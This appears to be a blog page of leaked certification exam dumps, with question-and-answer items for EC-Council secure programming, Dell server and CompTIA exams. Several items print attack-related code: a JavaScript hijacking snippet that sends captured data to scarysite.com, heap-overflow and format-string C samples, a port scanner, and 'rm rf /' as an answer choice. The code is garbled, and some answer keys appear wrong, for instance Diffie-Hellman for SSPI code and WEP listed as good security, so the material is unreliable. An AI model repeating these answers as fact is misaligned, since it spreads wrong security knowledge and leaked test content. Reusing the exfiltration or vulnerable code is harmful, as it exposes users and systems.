2013年8月30日星期五

Le matériel de formation de l'examen de meilleur EC-COUNCIL 312-92

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Code d'Examen: 312-92
Nom d'Examen: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
Questions et réponses: 99 Q&As

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NO.1 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

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NO.2 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

EC-COUNCIL   312-92 examen   certification 312-92   312-92

NO.3 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL examen   312-92   312-92

NO.4 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

EC-COUNCIL   certification 312-92   312-92 examen

NO.5 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

EC-COUNCIL   certification 312-92   312-92

NO.6 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

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NO.7 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

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NO.8 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

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NO.9 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

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NO.10 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

certification EC-COUNCIL   312-92   312-92

NO.11 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

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NO.12 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL examen   312-92   312-92   312-92

NO.13 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL   312-92   certification 312-92   312-92

NO.14 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

EC-COUNCIL   312-92 examen   312-92   certification 312-92

NO.15 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

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Code d'Examen: DC0-200
Nom d'Examen: Dell (Certified Server Professional Exam)
Questions et réponses: 120 Q&As

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NO.1 Which two operations can be performed with the DSA CD? (Choose two.)
A. run system diagnostics on your server
B. create Windows 2000 driver/utilities diskette(s)
C. create NetWare 5.1/6.0 driver/utilities diskette(s)
D. change the Dell Service Tag via the Service Tag Utility
Answer: BC

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NO.2 You are about to begin the installation of Windows 2000 Server on your PowerEdge server . As you
inspect the System Setup Utility, you notice that the Asset Tag field is blank. What are two ways you can
add the correct asset tag into the BIOS? (Choose two.)
A. Flashing the ESM to the latest revision automatically updates the Asset Tag field.
B. Flashing the BIOS to the latest revision automatically updates the Asset Tag field.
C. You create the Asset Tag Utility Diskette from the DSA CD and use it to update the Asset Tag field.
D. You download the Asset Tag Utility from premiersupport.dell.com and use it to update the Asset Tag
Field.
E. After installing Windows 2000, you use the Asset Manager application from the Dell group in control
panel to update the Asset Tag field.
Answer: CD

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NO.3 You want to install Windows 2000 Server and Dell-validated drivers for your factory-installed devices
using the Dell Server Assistant CD. From which location should you launch the Dell Server Assistant?
A. boot to the Dell Server Assistant CD after installing Windows 2000
B. autorun the CD from the Windows desktop after installing Windows 2000
C. boot to the Dell Server Assistant CD and have your Windows CD available
D. use the Dell Server Assistant to create a Utility Partition and launch the installation from the Utility
Partition
Answer: C

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NO.4 Which three hard drive partitions must be defined during the automated Linux installation process?
(Choose three.)
A. root
B. logs
C. boot
D. data
E. swap
Answer: ACE

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NO.5 What is the intended mounting location for a 0U rack mount device in a Dell rack?
A. at the top of the rack
B. on the back doors of the rack
C. in any of the 42U spaces available
D. in the mounting holes in the side walls of the rack
Answer: D

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NO.6 Which tool can be used to create a Utility Partition?
A. DOS fdisk Utility
B. Dell Server Assistant CD
C. Dell OpenManage Array Manager
D. Dell OpenManage IT Assistant CD
Answer: B

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NO.7 Which statement is true about using the Save feature of BASP?
A. It is only available in Windows 2000.
B. It saves a configuration as an executable file.
C. It lets you transfer teaming configurations to other servers.
D. It is used to install and configure the Broadcom Ethernet Controller driver.
Answer: C

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NO.8 Which two features are found on both 24U and 42U Dell racks? (Choose two.)
A. split rear door for cable access
B. diagnostic LCD panel on the front door
C. integrated redundant 1000 watt power supplies
D. 0U space that can be used for components other than servers and storage
Answer: AD

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NO.9 What is the default path and name of the logging file if the Message Logging option is selected when
running diagnostics?
A. A: RESULT.txt
B. C: RESULTS.txt
C. C: DELLTEST.txt
D. A: DELLTESTS.txt
Answer: A

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NO.10 What happens when you specify a Preferred Primary Adapter in Windows 2000 for an AFT NIC team?
A. You specify which adaptor will take the entire load. The other NICs will be used only when the
Preferred Primary fails.
B. You specify the desired card for all outgoing traffic for the team. The other members will still accept
incoming packets.
C. You specify the desired card for all incoming traffic for the team. The other members will still transmit
outgoing packets.
D. You specify which adaptor will take the load until it is saturated, then the other members will start
accepting packets until the Preferred Primary is just below the saturation point.
Answer: A

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NO.11 Which benefit does Link Aggregation provide, as used by Intel NICs in PowerEdge servers?
A. provides load-balanced fault tolerance to the network
B. assures that if one adapter fails, the server remains available to the network
C. combines multiple adapters into one channel, providing greater bandwidth for network traffic
D. allows multiple adapters to share the network load, preventing one adapter from being overloaded
Answer: C

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NO.12 Which four steps are necessary for creating a team in Windows 2000 using BASP? (Choose four.)
A. set the media type for the adapters
B. create a team and assign it a name
C. select the adapters from the list to add to the team
D. select the Broadcom Advanced Server Program Driver
E. configure the IP address and subnet mask for the team F. enter the path and filename of the
configuration to be saved
Answer: BCDE

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NO.13 You need to install Intel NIC teaming for Windows 2000 and you do not have access to the Internet.
From what two sources can you obtain the PROSet software? (Choose two.)
A. Intel Network Drivers CD
B. Dell Server Assistant (DSA)
C. Dell Network Applications CD
D. Windows 2000 Installation CD
Answer: AB

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NO.14 Which two components can be installed in the 0U space found in Dell racks? (Choose two .)
A. Dell UPS
B. Dell PDU
C. Dell flat panel monitor
D. Dell Dual-Power Grid Switch
Answer: BD

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NO.15 How many PowerEdge 1650 servers can be installed in a Dell 42U rack that already has two
PowerEdge 2650 servers, a PowerEdge 6650 server, and a 1U keyboard and monitor drawer?
A. 31
B. 32
C. 33
D. 34
Answer: C

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NO.16 What is the correct NIC teaming for the Intel Proprietary Method to accomplish fault tolerance?
A. AFT
B. ALB
C. ATF
D. SLB
Answer: A

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NO.17 You have just installed W2K on your server and you cannot get the server to see your local network.
What can you do to diagnose network connectivity? (Choose three.)
A. verify that the server is configured to use DNS
B. verify that the cable plugged into your server is not a cross-over cable
C. verify that the subnet address is the same as the rest of the working devices on your LAN
D. verify that if attached to a switch and using VLANs, your port is in the proper configuration
Answer: BCD

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NO.18 You are configuring network teaming on a PowerEdge server. The server has Windows 2000 installed
and you do not know what network adapters are in the system. Without physically opening the chassis,
what are two ways to see which network adapters are installed using the operating system? (Choose
two.)
A. type ifconfig -a at a command prompt; on the description line, the manufacturer and device type will be
named
B. type ipconfig /all at the command prompt; on the description line, the manufacturer and device type will
be named
C. right-click My Computer, select Manage, left-click Device Manager, expand Network Adapters, and
view installed adapters
D. right-click Network Neighborhood, select Properties, double-click Internet Protocol (TCP/IP), and view
protocol-bound adapters
Answer: BC

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NO.19 You select the RAID Configuration Utility from the Utility Partition menu. This takes you to the _____.
A. system setup
B. PERC BIOS
C. CERC BIOS
D. Array Manager
Answer: B

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NO.20 Which three statements are true about installing the Intel drivers and utilities that allow teaming in
Windows 2000? (Choose three .)
A. You must install the ProSet Utility.
B. You must install the Intel driver using floppy diskettes.
C. Loading Windows 2000 using the DSA CD-ROM loads the drivers and ProSet Utility.
D. If you install the adapters after you have installed the OS, you can get the drivers from the Intel
Network Drivers CD.
E. If you install the adapters after you have installed the OS, you can get the ProSet Utility from the Intel
ProSet Utility CD.
Answer: ACD

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Code d'Examen: 225-030
Nom d'Examen: CompTIA (CDIA+ Certification)
Questions et réponses: 170 Q&As

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NO.1 All of the following are routing features of production workflow EXCEPT:
A. work monitoring.
B. support for multiple queues based on work type.
C. sorting queues in date order.
D. pending or holding items.
Answer:A

CompTIA   225-030   225-030 examen   certification 225-030

NO.2 A proposed scanner uses TIFF Group 4 compression. What will be the average size of a black and
white A4 sized
(8.5
inches x 11 inches or 216 mm x 279 mm) document at 600 dpi (24 dots per mm)?
A.
50 K bytes
B.
180 K bytes
C.
210 K bytes
D.
380 K bytes
Answer: C

certification CompTIA   225-030   225-030   225-030 examen

NO.3 A company is required to create a training class for a proposed Electronic Document Management
System (EDMS). All of the following factors would be considered for end-user training EXCEPT:
A. the assessed skill level of individuals.
B. the document management needs of the organization.
C. the architecture of the network.
D. the current manual processes regarding documents.
Answer: C

CompTIA   225-030   certification 225-030   225-030   225-030

NO.4 Many of the documents to be scanned by a customer are sales invoices with a yellow background. A
feature of the proposed scanning solution should include:
A. image enhancement.
B. deskew.
C. color dropout.
D. color enhancement.
Answer: C

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NO.5 While validating requirements, it becomes apparent that multiple solutions could fit the customers
needs. The consultant should:
A. pick the solution they feel is best suited.
B. choose the least expensive option in terms of price to help win the business.
C. present the alternatives to the customer for discussion.
D. pick the most feature rich solution.
Answer: C

CompTIA examen   225-030   certification 225-030

NO.6 A business requires its employees to have access to internal documents via the Internet. Which of the
following technologies will allow access to those documents and maintain security of the connection?
A. Checksumming
B. Public Key Infrastructure (PKI)
C. Watermarking
D. Virtual Private Network (VPN)
Answer: D

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NO.7 During discovery phase interviews with key personnel, a previously unknown critical document type is
identified. What should the next step be?
A. Ignore the document type in order to avoid scope creep
B. Include the document type in the project scope
C. Document the discovery and complete a change order request form
D. Discuss alternatives to including the document type
Answer: B

CompTIA   certification 225-030   certification 225-030   certification 225-030   225-030   225-030 examen

NO.8 A member of the implementation team discovers that the software vendor is issuing a new version.
Which one of the following should be done?
A. Upgrade after the project completion date
B. Research the new product to understand its features
C. Inform the business sponsors
D. Notify the Project Manager
Answer: D

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NO.9 Which of the following are elements of a communication plan?
A. Ethernet and TCP / IP
B. Project charter and project plan
C. E-mail and FTP
D. All-hands meetings and intranet postings
Answer: D

certification CompTIA   225-030   certification 225-030   225-030

NO.10 A company would like to scan documents for disaster recovery purposes. Which system would be most
appropriate?
A. Knowledge Management System (KMS)
B. Image Management System (IMS)
C. Electronic Document Management System (EDMS)
D. Storage Area Network (SAN)
Answer: B

CompTIA examen   certification 225-030   certification 225-030   certification 225-030

NO.11 A client wishes to establish a Document Management System (DMS) for handling a large volume of
standard documents to be scanned. The client wants to enable search capabilities for certain information
on the documents. Which of the following is the MOST appropriate solution?
A. Form recognition and entire document search
B. Form recognition and index search
C. Zonal OCR and entire document search
D. Zonal OCR and index search
Answer: D

CompTIA examen   225-030 examen   certification 225-030

NO.12 The Human Resources department receives applications: 10% by fax, 30% by e-mail, and 60% by mail.
All applications are two-sided forms. Applications received by mail must be scanned into the Document
Management System (DMS). If 300 applications are received by the Human Resources department per
week, how many images will be scanned per week?
A. 300
B. 360
C. 400
D. 600
Answer: B

CompTIA   225-030   certification 225-030   225-030 examen   225-030 examen   225-030 examen

NO.13 All of the following are inputs to project schedule development EXCEPT:
A. change requests.
B. lead- and lag-times.
C. resource requirements.
D. resource availability.
Answer:A

CompTIA examen   225-030   225-030   certification 225-030

NO.14 A local library keeps many important documents relating to the historical landmarks in town. The
documents consist of blueprints, photographs, and newspaper articles. The library wants to capture the
documents electronically so they can be viewed online. The first concern of the person capturing the
documents would be the:
A. color of the documents.
B. age and physical condition of the documents.
C. volume of the documents on file.
D. number of file cabinets.
Answer: B

certification CompTIA   certification 225-030   certification 225-030   225-030   certification 225-030   225-030

NO.15 A document that would address the repurposing or reorganization of staff, the benefits of a new
system, and the increased market value of staff due to new skills is called a:
A. cultural change management plan.
B. project management plan.
C. human resource plan.
D. project objectives document.
Answer:A

CompTIA   225-030   225-030 examen   225-030 examen   225-030   certification 225-030

NO.16 A customer is performing incremental backups nightly. At the end of the month they review a list of
documents that have reached their end of life and determine if they can be destroyed. Which of the
following BEST describes the records storage management process?
A. The customer does not have a records management process.
B. The customer has an informal records management process.
C. The customer has a formal records storage management process.
D. The customer has a document capture process.
Answer: C

CompTIA   225-030 examen   225-030   225-030

NO.17 The proposed project plan requires that documents must have a file plan and track all access
attempts. What MUST be part of this solution?
A. A records management system
B. A storage management system
C. A scan subsystem
D. Annotation and redaction capabilities
Answer:A

CompTIA   225-030   225-030
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The unregistered version of Win2PDF is for evaluation or non-commercial use only.
This page will not be added after purchasing Win2PDF.

NO.18 When reviewing potential software choices to propose to a client, the MOST important aspect to
consider from the following is:
A. the price of the potential software solution.
B. how well the software meets the clients needs.
C. the cost of the annual maintenance agreement of the software.
D. how robust the software is.
Answer: B

CompTIA   225-030   225-030

NO.19 A company has a single call center. It will introduce new products that will increase customer service
calls. The company wants to handle an increasing number of calls without adding personnel or
decreasing customer service levels. Which aspect of workflow technology should it consider?
A. Pre-retrieval of customer folders
B. Sorting of documents in a work queue
C. Load balancing
D. Work monitoring
Answer:A

CompTIA examen   225-030   certification 225-030   certification 225-030

NO.20 What is a disadvantage of scanning all images at the highest resolution possible?
A. Higher expense
B. Lower quality
C. Small file size
D. Compatibility issues
Answer:A

CompTIA examen   225-030   225-030

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Code d'Examen: N10-004
Nom d'Examen: CompTIA (CompTIA Network+ (2009 Edition) )
Questions et réponses: 362 Q&As

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NO.1 Which of the following would be used to test out the security of a specific network by allowing it to
receive security attacks?
A. Honeynet
B. Honeypot
C. Vulnerability scanner
D. Network based IDS
Answer: A

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NO.2 Which of the following ports would have to be allowed through a firewall to allow SNMP traffic to pass
on its default port? (Select TWO).
A. 22
B. 23
C. 143
D. 161
E. 162
F. 8080
Answer: DE

certification CompTIA   N10-004   certification N10-004   N10-004

NO.3 Which of the following ports is the default telnet port?
A. 20
B. 21
C. 22
D. 23
Answer: D

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NO.4 Which of the following metrics indentifies the number of connections that is between two devices?
A. Hop count
B. MTU
C. Latency
D. Bandwidth
Answer: A

CompTIA   certification N10-004   certification N10-004   N10-004   N10-004

NO.5 A bridge handles frames at which of the following layers of the OSI model?
A. Network
B. Session
C. Transport
D. Data Link
Answer: D

CompTIA   N10-004   certification N10-004   N10-004   N10-004

NO.6 A company is about to install a second network connection with a new ISP. Which of the following
routing protocols is the BEST choice?
A. IS-IS
B. BGP
C. OSPF
D. RIP
Answer: B

CompTIA   certification N10-004   N10-004   certification N10-004

NO.7 Which of the following layers of the OSI model maps to the Network Interface layer of the TCP stack?
(Select TWO).
A. Physical
B. Session
C. Data Link
D. Network
E. Transport
Answer: AC

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NO.8 A user is unable to access the company website on a laptop. A network technician verifies that the user
can access other Internet pages. According to network troubleshooting methodology, which of the
following steps should be taken NEXT?
A. Remotely connect to the user's laptop and review the network configuration settings.
B. Ping the web server from inside the network to ensure it is still up and running.
C. Check to make sure the company's website is accessible from the Internet.
D. Ensure the Ethernet cable is securely plugged into the user's laptop.
Answer: C

CompTIA   certification N10-004   N10-004

NO.9 Which of the following can be configured to restrict specific ports and IP addresses from accessing the
internal network? (Select TWO).
A. Layer 2 switch
B. MAC address filtering
C. ACLs
D. IIS server
E. Port scanner
F. Firewall
Answer: CF

certification CompTIA   N10-004   N10-004

NO.10 Which of the following is a reason to use dynamic DNS?
A. The host IP address is not listed in the firewall.
B. The host IP address is assigned by DHCP.
C. Static routes cannot be used on the host network.
D. A third-party certificate is being used.
Answer: B

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NO.11 Which of the following protocols is commonly used for VoIP technology?
A. Telnet
B. SMTP
C. SIP
D. SNMP
Answer: C

CompTIA   N10-004   N10-004   N10-004 examen

NO.12 A network technician is attempting to map a FQDN to an internal server at the address of 10.0.0.15
without NAT/PAT. Which of the following is the reason this will ultimately not work?
A. This is a private address which cannot be seen by external users.
B. The address does not have the appropriate subnet mask assigned.
C. This is a public address which can only be seen by internal users.
D. This is a private address which can only be seen by external users.
Answer: A

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NO.13 Which of the following authentication solutions also provides AAA and uses TCP.?
A. TACACS+
B. Kerberos
C. RADIUS
D. RAS
Answer: A

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NO.14 A network technician is troubleshooting a problem and has just established a plan of action to resolve
the problem. Which of the following is the NEXT step in the troubleshooting methodology?
A. Verify full system functionality and if applicable implement preventative measures.
B. Implement the solution or escalate as necessary.
C. Document findings, actions, and outcomes.
D. Establish a theory of probable cause (e.g. question the obvious).
Answer: B

certification CompTIA   N10-004   certification N10-004   N10-004

NO.15 A network technician, working with a large business of 500 employees, decides to configure a server
to handle IP addressing. Which of the following would BEST allow for this setup?
A. Address routing protocol
B. Port mirroring
C. Static addresses
D. DHCP addresses
Answer: D

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NO.16 Which of the following is the broadcast address for a network defined as 192.168.0.0/24?
A. 192.168.0.255
B. 192.168.0.1
C. 192.168.0.0
D. 192.168.0.253
Answer: A

CompTIA   N10-004   N10-004 examen   N10-004   N10-004   N10-004

NO.17 hen the use of a smart card, pin number, and pass phrase is required to login to a system, which of the
following types of authentication is being used?
A. Single sign on
B. PKI
C. Two factor authentication
D. Multi-factor authentication
Answer: D

CompTIA   N10-004   N10-004   N10-004

NO.18 The network technician is troubleshooting a network issue by implementing a new security device. After
installing and configuring the device, which of the following steps should the technician take NEXT?
A. Verify full system functionality.
B. Identify the main problem and question the user.
C. Document their findings, actions, and outcomes.
D. Escalate the issue to upper management.
Answer: A

certification CompTIA   certification N10-004   certification N10-004

NO.19 The protocols that use a three way handshake to transfer information can be found within which layer of
the OSI model?
A. Layer 2
B. Layer 3
C. Layer 4
D. Layer 5
Answer: C

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NO.20 A network technician blocks access to ports 25, 110, and 143 on the firewall. Which of the following
application services will be blocked due to this?
A. Email sending and receiving
B. Domain Name Service
C. FTP access to external servers
D. Remote desktop access
Answer: A

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Code d'Examen: JK0-015
Nom d'Examen: CompTIA (CompTIA E2C Security+ (2008 Edition) Exam)
Questions et réponses: 1074 Q&As

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NO.1 Cell phones with network access and the ability to store data files are susceptible to which of the
following risks?
A. Input validation errors
B. SMTP open relays
C. Viruses
D. Logic bombs
Answer: C

CompTIA examen   JK0-015   JK0-015   JK0-015   JK0-015

NO.2 Which of the following access control technologies provides a rolling password for one-time use?
A. RSA tokens
B. ACL
C. Multifactor authentication
D. PIV card
Answer: A

CompTIA   JK0-015 examen   JK0-015

NO.3 Which of the following is the MOST secure authentication method?
A. Smartcard
B. Iris
C. Password
D. Fingerprints
Answer: B

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NO.4 An administrator needs to limit and monitor the access users have to the Internet and protect the
internal network. Which of the following would MOST likely be implemented?
A. A heuristic firewall
B. DNS caching on the client machines
C. A pushed update modifying users' local host file
D. A content-filtering proxy server
Answer: D

CompTIA   certification JK0-015   JK0-015 examen   JK0-015   JK0-015

NO.5 A user reports that each time they attempt to go to a legitimate website, they are sent to an
inappropriate website. The security administrator suspects the user may have malware on the computer,
which manipulated some of the user's files. Which of the following files on the user's system would need
to be checked for unauthorized changes?
A. SAM
B. LMhosts
C. Services
D. Hosts
Answer: D

certification CompTIA   JK0-015   certification JK0-015

NO.6 Which of the following tools was created for the primary purpose of reporting the services that are open
for connection on a networked workstation?
A. Protocol analyzer
B. Port scanner
C. Password crackers
D. Vulnerability scanner
Answer: B

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NO.7 Upon opening the browser, a guest user is redirected to the company portal and asked to agree to the
acceptable use policy. Which of the following is MOST likely causing this to appear?
A. NAT
B. NAC
C. VLAN
D. DMZ
Answer: B

CompTIA examen   JK0-015   certification JK0-015   certification JK0-015   JK0-015   JK0-015

NO.8 Which of the following is MOST likely to be an issue when turning on all auditing functions within a
system?
A. Flooding the network with all of the log information
B. Lack of support for standardized log review tools
C. Too much information to review
D. Too many available log aggregation tools
Answer: C

CompTIA examen   JK0-015   JK0-015   JK0-015 examen   JK0-015 examen

NO.9 Which of the following uses an RC4 key that can be discovered by eavesdropping on plain text
initialization vectors?
A. WEP
B. TKIP
C. SSH
D. WPA
Answer: A

CompTIA   certification JK0-015   certification JK0-015   JK0-015 examen   JK0-015

NO.10 Which of the following algorithms provides better protection against brute force attacks by using a
160-bit message digest?
A. MD5
B. SHA-1
C. LANMAN
D. NTLM
Answer: B

CompTIA   JK0-015 examen   JK0-015

NO.11 USB devices with a virus delivery mechanism are an example of which of the following security threats?
A. Adware
B. Trojan
C. Botnets
D. Logic bombs
Answer: B

CompTIA   JK0-015   certification JK0-015   JK0-015

NO.12 Mitigating security risks by updating and applying hot fixes is part of:
A. patch management.
B. vulnerability scanning.
C. baseline reporting.
D. penetration testing.
Answer: A

CompTIA   JK0-015   JK0-015   JK0-015

NO.13 Which of the following logical access control methods would a security administrator need to modify in
order to control network traffic passing through a router to a different network?
A. Configuring VLAN 1
B. ACL
C. Logical tokens
D. Role-based access control changes
Answer: B

CompTIA   JK0-015 examen   JK0-015   certification JK0-015

NO.14 When establishing a connection between two IP based routers, which of the following protocols is the
MOST secure?
A. TFTP
B. HTTPS
C. FTP
D. SSH
Answer: D

CompTIA   JK0-015   JK0-015   JK0-015

NO.15 The security administrator needs to make a change in the network to accommodate a new remote
location. The new location will be connected by a serial interface, off the main router, through a
commercial circuit. This remote site will also have traffic completely separated from all other traffic. Which
of the following design elements will need to be implemented to accommodate the new location?
A. VLANs need to be added on the switch but not the router.
B. The NAT needs to be re-configured to allow the remote location.
C. The current IP scheme needs to be subnetted.
D. The switch needs to be virtualized and a new DMZ needs to be created
Answer: C

certification CompTIA   JK0-015 examen   JK0-015 examen

NO.16 When reviewing IDS logs, the security administrator notices many events pertaining to a "NOOP sled".
Which of the following attacks is occurring?
A. Man-in-the-middle
B. SQL injection
C. Buffer overflow
D. Session hijacking
Answer: C

CompTIA examen   JK0-015 examen   JK0-015   JK0-015

NO.17 Which of the following technologies is used to verify that a file was not altered?
A. RC5
B. AES
C. DES
D. MD5
Answer: D

CompTIA examen   JK0-015   JK0-015

NO.18 Which of the following tools limits external access to the network.?
A. IDS
B. VLAN
C. Firewall
D. DMZ
Answer: C

CompTIA examen   JK0-015 examen   JK0-015   certification JK0-015

NO.19 An administrator wants to crack passwords on a server with an account lockout policy. Which of the
following would allow this without locking accounts?
A. Try guessing passwords slow enough to reset the bad count interval.
B. Try guessing passwords with brute force.
C. Copy the password file offline and perform the attack on it.
D. Try only real dictionary words.
Answer: C

CompTIA   JK0-015   JK0-015 examen   JK0-015   JK0-015

NO.20 Which of the following is a malicious program used to capture information from an infected computer?
A. Trojan
B. Botnet
C. Worm
D. Virus
Answer: A

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Code d'Examen: CN0-201
Nom d'Examen: CompTIA (CompTIA CTP+ Certification Exam)
Questions et réponses: 302 Q&As

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NO.1 Voice over IP is an application that requires efficient use of bandwidth and reliability. VoIP must not
suffer the delays that can be seen at times with Web sites and Web applications. Which technology can
be used to help ensure the efficient transport of VoIP traffic?
A. RTP
B. QoS
C. DNS
D. RSTP
Answer: B

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NO.2 You work as a network consultant for Net World International. You are designing a network for a client
company. The proposed network will use a class B address for its network. The network will be divided
into thirty-two subnets. Which of the following subnet masks will you use to design the network?
A. 255.255.252.0
B. 255.252.0.0
C. 255.255.248.0
D. 255.248.0.0
Answer: A

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NO.3 Which of the following devices is used to make decisions based on MAC addresses and is considered
the most appropriate device to use when limiting broadcast domains for devices that will process voice
data?
A. Layer 3 switch
B. Repeater
C. Layer 2 switch
D. MCU
Answer: C

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NO.4 Which of the following is a mechanism used by the Multimedia Extensions (WME) standard to avoid
contentions in a particular traffic category?
A. Sliding Window Protocol
B. Contention Window (CW)
C. Auto-Rate Fallback
D. Maximum Segment Size (MSS)
Answer: B

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NO.5 Which of the following protocols provides sequence numbers to VoIP packets?
A. TCP
B. RTP
C. UDP
D. SCCP
Answer: B

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NO.6 Adam works as a Sales Engineer for Umbrella Inc. One of his customers complains that the PBX is
getting reset several times in a day. Adam finds that the power LEDs of PBX are fluttering. He suspects
that faulty power supply is the cause of this problem. Which of the following troubleshooting tools should
Adam use to verify these suspicions?
A. Continuity tester
B. Line tester
C. Volt meter
D. T-BERD 4000
Answer: C

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NO.7 When a phoneislifted off-hook, it connects the two wires causing an electrical signal to flowfromthe
phone exchange to thephone. What is this electrical signal called?
A. Off-hook signal
B. Ground start signal
C. Loop start signal
D. On-hook signal
Answer: C

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NO.8 Which of the following protocols is used by VoIP applications for communication initiation in the
network?
A. TLS
B. NTP
C. SIP
D. SSH
Answer: C

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NO.9 You have just set up a wireless network for customers at a coffee shop. Which of the following are
good security measures to implement?
Each correct answer represents a complete solution. Choose two.
A. Not broadcasting SSID
B. MAC filtering the router
C. Using WEP encryption
D. Using WPA encryption
Answer: CD

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NO.10 Which of the following devices is used to create VLANs in a small network?
A. Repeater
B. Switch
C. Hub
D. Bridge
Answer: B

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NO.11 Which of the following are endpoints in Cisco Unified Communications?
Each correct answer represents a complete solution. Choose two.
A. Switches
B. Routers
C. Gateways
D. IP phones
Answer: CD

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NO.12 Which of the following ITU standards specifies PCM voice coding at 64 kbps?
A. G.726
B. G.728
C. G.729
D. G.711
Answer: D

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NO.13 Youwork as a NetworkAdministrator for McNeil Inc.Thecompany hasa TCP/IP-based network.
Performance of the network is slow because of heavy traffic.A hub is used as a central connectingdevice
in the network. Which of the following devices can be used in place of a hub to control thenetwork traffic
efficiently?
A. Repeater
B. Router
C. Switch
D. Bridge
